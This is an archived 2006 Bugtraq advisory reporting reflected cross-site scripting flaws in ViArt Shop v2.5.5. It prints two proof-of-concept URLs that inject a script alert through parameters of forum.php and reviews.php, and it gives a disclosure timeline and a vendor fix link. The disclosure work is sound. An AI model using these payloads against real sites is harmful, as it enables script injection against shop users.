bugtraq - [NOBYTES.COM: #12] ViArt Shop v2.5.5

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAALxQWSsQjTk2yAkGiznO8JcKAAAAQAAAAlgs/v/VZakS+oPBK7rOpIgEAAAAA@nobytes.com>
Date: Wed, 7 Jun 2006 22:08:51 +0100
From: "John Cobb" <johnc@...ytes.com>
To: <bugtraq@...urityfocus.com>
Subject: [NOBYTES.COM: #12] ViArt Shop v2.5.5 - XSS Vulnerability


ViArt Shop v2.5.5 Free (and possibly Light, Standard, and Enterprise)

Authors Site: http://www.codetosell.com/

+-[Examples:]--------------------------------------------------+

XSS:

/forum.php?forum_id="><script>alert('XSS');</script>&category_id=1

/reviews.php?category_id=0&item_id=4&rnd=1149618267&action=1&item_id="><scri
pt>alert('XSS');</script>&category_id=0&recommended=1&rating=0&summary=1&com
ments=1&user_name=1


+-[Notes:]-----------------------------------------------------+

Vulnerabilities found on: 6 June 2006
Author(s) Informed on: 7 June 2006
Author(s) Response: 7 June 2006
Author(s) Fix: 7 June 2006

Authors Fix: http://www.codetosell.com/downloads/xss_fix.zip

JohnC@...ytes.com

http://www.NoBytes.com